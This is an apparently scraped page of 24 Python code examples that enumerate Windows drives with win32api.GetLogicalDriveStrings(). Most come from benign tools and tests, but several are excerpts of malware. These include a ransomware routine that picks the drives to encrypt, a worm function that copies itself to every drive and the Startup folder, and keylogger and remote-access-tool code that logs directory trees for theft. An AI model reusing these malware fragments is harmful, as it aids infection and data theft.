Python win32api.GetLogicalDriveStrings() Examples

The following are 24 code examples of win32api.GetLogicalDriveStrings(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module win32api , or try the search function .
Example #1
Source File: Base.py    From Crypter with GNU General Public License v3.0 6 votes vote down vote up
def get_base_dirs(self, home_dir, __config):
      # Function to return a list of base directories to encrypt
      base_dirs = []

      # Add attached drives and file shares
      if __config["encrypt_attached_drives"] is True:
          attached_drives = win32api.GetLogicalDriveStrings().split('\000')[:-1]
          for drive in attached_drives:
              drive_letter = drive[0].lower()
              if drive_letter != 'c' and not self.is_optical_drive(drive_letter):
                  base_dirs.append(drive)

      # Add C:\\ user space directories
      if __config["encrypt_user_home"] is True:
          base_dirs.append(home_dir)

      return base_dirs 
Example #2
Source File: testwnet.py    From ironpython2 with Apache License 2.0 6 votes vote down vote up
def findUnusedDriveLetter():
	existing = [x[0].lower() for x in win32api.GetLogicalDriveStrings().split('\0') if x]
	handle = win32wnet.WNetOpenEnum(RESOURCE_REMEMBERED,RESOURCETYPE_DISK,0,None)
	try:
		while 1:
			items = win32wnet.WNetEnumResource(handle, 0)
			if len(items)==0:
				break
			xtra = [i.lpLocalName[0].lower() for i in items if i.lpLocalName]
			existing.extend(xtra)
	finally:
		handle.Close()
	for maybe in 'defghijklmnopqrstuvwxyz':
		if maybe not in existing:
			return maybe
	raise RuntimeError("All drive mappings are taken?") 
Example #3
Source File: test_win32wnet.py    From ironpython2 with Apache License 2.0 6 votes vote down vote up
def findUnusedDriveLetter(self):
        existing = [x[0].lower() for x in win32api.GetLogicalDriveStrings().split('\0') if x]
        handle = win32wnet.WNetOpenEnum(RESOURCE_REMEMBERED,RESOURCETYPE_DISK,0,None)
        try:
                while 1:
                        items = win32wnet.WNetEnumResource(handle, 0)
                        if len(items)==0:
                                break
                        xtra = [i.lpLocalName[0].lower() for i in items if i.lpLocalName]
                        existing.extend(xtra)
        finally:
                handle.Close()
        for maybe in 'defghijklmnopqrstuvwxyz':
                if maybe not in existing:
                        return maybe
        self.fail("All drive mappings are taken?") 
Example #4
Source File: drive_detect.py    From whipFTP with MIT License 6 votes vote down vote up
def get_mounts():
    mountpoints = []    

    if(platform.system() == 'Linux'):
        f = open('/proc/mounts')

        dev_types = ['/dev/sda', '/dev/sdc', '/dev/sdb', '/dev/hda', '/dev/hdc', '/dev/hdb', '/dev/nvme']

        for line in f:
            details = line.split()
            if(details[0][:-1] in dev_types):
                if(details[1] != '/boot/efi'):
                    details_decoded_string = bytes(details[1], "utf-8").decode("unicode_escape")
                    mountpoints.append(details_decoded_string)

        f.close()
    elif(platform.system() == 'Darwin'):
        for mountpoint in os.listdir('/Volumes/'):
            mountpoints.append('/Volumes/' + mountpoint)

    elif(platform.system() == 'Windows'):
        mountpoints = win32api.GetLogicalDriveStrings()
        mountpoints = mountpoints.split('\000')[:-1]

    return mountpoints 
Example #5
Source File: utils.py    From Fastir_Collector with GNU General Public License v3.0 5 votes vote down vote up
def get_removable_drives():
    """Returns a list containing letters from removable drives"""
    drive_list = win32api.GetLogicalDriveStrings()
    drive_list = drive_list.split("\x00")[0:-1]  # the last element is ""
    list_removable_drives = []
    for letter in drive_list:
        if win32file.GetDriveType(letter) == win32file.DRIVE_REMOVABLE:
            list_removable_drives.append(letter)
    return list_removable_drives 
Example #6
Source File: treedisplays.py    From ExCo with GNU General Public License v3.0 5 votes vote down vote up
def display_windows_disks(self):
        self._clean_model()
        tree_model = self._init_tree_model()
        base_item = self._create_standard_item(
            "Computer", bold=True, icon=self.computer
        )
        base_item.attributes = self._create_item_attribute(
            TreeExplorer.ItemType.COMPUTER,
            None
        )
        tree_model.appendRow(base_item)
        drives = win32api.GetLogicalDriveStrings()
        drives = drives.split('\000')[:-1]
        for d in drives:
            d = functions.unixify_path(d)
            item = self._create_standard_item(
                d, bold=True, icon=self.disk_icon
            )
            item.attributes = self._create_item_attribute(
                TreeExplorer.ItemType.DIRECTORY,
                d,
                disk=True
            )
            base_item.appendRow(item)
        self.base_item = base_item
        # Set the tree model
        self.setModel(tree_model)
        # Connect the signals
        tree_model.itemChanged.connect(self._item_changed)
        # Expand the base item
        self.expand(base_item.index()) 
Example #7
Source File: getfiles.py    From certitude with GNU General Public License v2.0 5 votes vote down vote up
def getFiles():

	ret = []
	
    # List logical drives
	drives = win32api.GetLogicalDriveStrings().split('\x00')
	drives.pop()
	
    # Only get local dries
	drives = [ d for d in drives if win32file.GetDriveType(d)==win32file.DRIVE_FIXED ]
	
    # List files
	for drive in drives:
		print os.popen('dir /s /b '+drive).read() 
Example #8
Source File: getfiles_hash.py    From certitude with GNU General Public License v2.0 5 votes vote down vote up
def getFilesHash():

	ret = []
	
    # List logical drives
	drives = win32api.GetLogicalDriveStrings().split('\x00')
	drives.pop()
	
    # Only get local dries
	drives = [ d for d in drives if win32file.GetDriveType(d)==win32file.DRIVE_FIXED ]
	
    # List files
	for drive in drives:
		hashRec(drive) 
Example #9
Source File: worm.py    From NetWorm with MIT License 5 votes vote down vote up
def usbspreading():
    # TODO:50 : Make this threaded.
    bootfolder = os.path.expanduser('~') + "/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"

    while True:
        drives = win32api.GetLogicalDriveStrings()
        drives = drives.split('\000')[:-1]
        print(drives)
        for drive in drives:
            if "C:\\" == drive:
                copy2(__file__, bootfolder)
            else:
                copy2(__file__, drive)
        time.sleep(3) 
Example #10
Source File: DirectoryTree.py    From BrainDamage with Apache License 2.0 5 votes vote down vote up
def get_list_drives(self):
        print '[*] Getting list of available drives'
        drives = win32api.GetLogicalDriveStrings()
        drives = drives.split('\000')[:-1]
        print '[*] Returning list of drives'
        return drives 
Example #11
Source File: df.py    From code with MIT License 5 votes vote down vote up
def GetLogicalDriveStrings():
    return Api.GetLogicalDriveStrings().split("\0")[:-1] 
Example #12
Source File: gyptest-generator-output-different-drive.py    From android-xmrig-miner with GNU General Public License v3.0 5 votes vote down vote up
def GetFirstFreeDriveLetter():
    """ Returns the first unused Windows drive letter in [A, Z] """
    all_letters = [c for c in string.uppercase]
    in_use = win32api.GetLogicalDriveStrings()
    free = list(set(all_letters) - set(in_use))
    return free[0] 
Example #13
Source File: windowsprivcheck.py    From LHF with GNU General Public License v3.0 5 votes vote down vote up
def check_drives():
	for drive in win32api.GetLogicalDriveStrings().split("\x00"):
		sys.stdout.write(".")
		type = win32file.GetDriveType(drive)
		if type == win32con.DRIVE_FIXED:
			fs = win32api.GetVolumeInformation(drive)[4]
			if fs == 'NTFS':
				warning = ""
				weak_perms = check_weak_write_perms(drive, 'directory')
				if weak_perms:
					# print "Weak permissions on drive root %s:" % drive
					# print_weak_perms('directory', weak_perms)
					sys.stdout.write(".")
					save_issue("WPC010", "writable_drive_root", weak_perms) 
			elif fs == 'FAT':
				save_issue_string("WPC011", "fat_fs_drives", "Fixed drive " + drive + ": has " + fs + " filesystem (FAT does not support file permissions)" )
				sys.stdout.write("!")
			elif fs == 'FAT32':
				save_issue_string("WPC011", "fat_fs_drives", "Fixed drive " + drive + ": has " + fs + " filesystem  (FAT32 does not support file permissions)" )
				sys.stdout.write("!")
			else:
				warning = " (not NTFS - might be insecure)"
				save_issue_string("WPC011", "fat_fs_drives", "Fixed drive " + drive + ": has " + fs + " filesystem (Not NTFS - might not be secure)" )
				sys.stdout.write("!")

				 
			# print "Fixed drive %s has %s filesystem%s" % (drive, fs, warning)
			
	print 
Example #14
Source File: gyptest-generator-output-different-drive.py    From kawalpemilu2014 with GNU Affero General Public License v3.0 5 votes vote down vote up
def GetFirstFreeDriveLetter():
    """ Returns the first unused Windows drive letter in [A, Z] """
    all_letters = [c for c in string.uppercase]
    in_use = win32api.GetLogicalDriveStrings()
    free = list(set(all_letters) - set(in_use))
    return free[0] 
Example #15
Source File: win32.py    From multibootusb with GNU General Public License v2.0 5 votes vote down vote up
def findAvailableDrives():
    return [(d, win32file.GetDriveType(d)) for d in
            win32api.GetLogicalDriveStrings().rstrip('\0').split('\0')] 
Example #16
Source File: utils.py    From Fastir_Collector with GNU General Public License v3.0 5 votes vote down vote up
def get_local_drives():
    """Returns a list containing letters from local drives"""
    drive_list = win32api.GetLogicalDriveStrings()
    drive_list = drive_list.split("\x00")[0:-1]  # the last element is ""
    list_local_drives = []
    for letter in drive_list:
        if win32file.GetDriveType(letter) == win32file.DRIVE_FIXED:
            list_local_drives.append(letter)
    return list_local_drives 
Example #17
Source File: gyptest-generator-output-different-drive.py    From gyp with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def GetFirstFreeDriveLetter():
    """ Returns the first unused Windows drive letter in [A, Z] """
    all_letters = [c for c in string.ascii_uppercase]
    in_use = win32api.GetLogicalDriveStrings()
    free = list(set(all_letters) - set(in_use))
    return free[0] 
Example #18
Source File: gyptest-generator-output-different-drive.py    From gyp with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def GetFirstFreeDriveLetter():
    """ Returns the first unused Windows drive letter in [A, Z] """
    all_letters = [c for c in string.ascii_uppercase]
    in_use = win32api.GetLogicalDriveStrings()
    free = list(set(all_letters) - set(in_use))
    return free[0] 
Example #19
Source File: make.py    From winpython with MIT License 5 votes vote down vote up
def get_drives():
    """Return all active drives"""
    import win32api

    return win32api.GetLogicalDriveStrings().split('\000')[
        :-1
    ] 
Example #20
Source File: BaseApp.py    From p2ptv-pi with MIT License 5 votes vote down vote up
def get_drive_list(self):
        try:
            drives = win32api.GetLogicalDriveStrings()
            drives = [ drivestr for drivestr in drives.split('\x00') if drivestr ]
            return drives
        except:
            return [] 
Example #21
Source File: gyptest-generator-output-different-drive.py    From GYP3 with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def GetFirstFreeDriveLetter():
  try:
    import win32api
  except ImportError:
    return test.skip_test('Problem with "win32api"')

  """ Returns the first unused Windows drive letter in [A, Z] """
  all_letters = [c for c in string.ascii_uppercase]
  in_use = win32api.GetLogicalDriveStrings()
  free = list(set(all_letters) - set(in_use))
  return free[0] 
Example #22
Source File: windows-privesc-check.py    From WHP with Do What The F*ck You Want To Public License 5 votes vote down vote up
def check_drives():
	for drive in win32api.GetLogicalDriveStrings().split("\x00"):
		sys.stdout.write(".")
		type = win32file.GetDriveType(drive)
		if type == win32con.DRIVE_FIXED:
			fs = win32api.GetVolumeInformation(drive)[4]
			if fs == 'NTFS':
				warning = ""
				weak_perms = check_weak_write_perms(drive, 'directory')
				if weak_perms:
					# print "Weak permissions on drive root %s:" % drive
					# print_weak_perms('directory', weak_perms)
					sys.stdout.write(".")
					save_issue("WPC010", "writable_drive_root", weak_perms) 
			elif fs == 'FAT':
				save_issue_string("WPC011", "fat_fs_drives", "Fixed drive " + drive + ": has " + fs + " filesystem (FAT does not support file permissions)" )
				sys.stdout.write("!")
			elif fs == 'FAT32':
				save_issue_string("WPC011", "fat_fs_drives", "Fixed drive " + drive + ": has " + fs + " filesystem  (FAT32 does not support file permissions)" )
				sys.stdout.write("!")
			else:
				warning = " (not NTFS - might be insecure)"
				save_issue_string("WPC011", "fat_fs_drives", "Fixed drive " + drive + ": has " + fs + " filesystem (Not NTFS - might not be secure)" )
				sys.stdout.write("!")

				 
			# print "Fixed drive %s has %s filesystem%s" % (drive, fs, warning)
			
	print 
Example #23
Source File: windows.py    From rekall with GNU General Public License v2.0 5 votes vote down vote up
def get_drives():
    """List all the drives on this system."""
    drives = win32api.GetLogicalDriveStrings()
    return [x.rstrip("\\") for x in drives.split('\000') if x] 
Example #24
Source File: Radiumkeylogger.py    From Radium with Apache License 2.0 4 votes vote down vote up
def DriveTree():
    file_dir1 = 'C:\Users\Public\Intel\Logs\Dir_View.txt'   #The drive hierarchy will be saved in this file
    drives = win32api.GetLogicalDriveStrings()
    drives = drives.split('\000')[:-1]
    no_of_drives = len(drives)
    file_dir_O = open(file_dir1, "w")

    for d in range(no_of_drives):
        try:
            file_dir_O.write(str(drives[d]) + "\n")
            directories = os.walk(drives[d])
            next_dir = next(directories)

            next_directories = next_dir[1]
            next_files = next_dir[2]

            next_final_dir = next_directories + next_files

            for nd in next_final_dir:
                file_dir_O.write("	" + str(nd) + "\n")
                try:
                    sub_directories = os.walk(drives[d] + nd)

                    next_sub_dir = next(sub_directories)[1]
                    next_sub_sub_file = next(sub_directories)[2]

                    next_final_final_dir = next_sub_dir + next_sub_sub_file

                    for nsd in next_final_final_dir:
                        file_dir_O.write("		" + str(nsd) + "\n")

                        try:
                            sub_sub_directories = os.walk(drives[d] + nd + '\\' + nsd)

                            next_sub_sub_dir = next(sub_sub_directories)[1]
                            next_sub_sub_sub_file = next(sub_sub_directories)[2]

                            next_final_final_final_dir = next_sub_sub_dir + next_sub_sub_sub_file

                            for nssd in next_final_final_final_dir:
                                file_dir_O.write("			" + str(nssd) + "\n")
                        except Exception as e:
                            pass

                except Exception as e:
                    pass
        except Exception as e:
            pass

    file_dir_O.close()
    return True

#Function to send the data i.e. info.txt, chrome data, login data, screenshots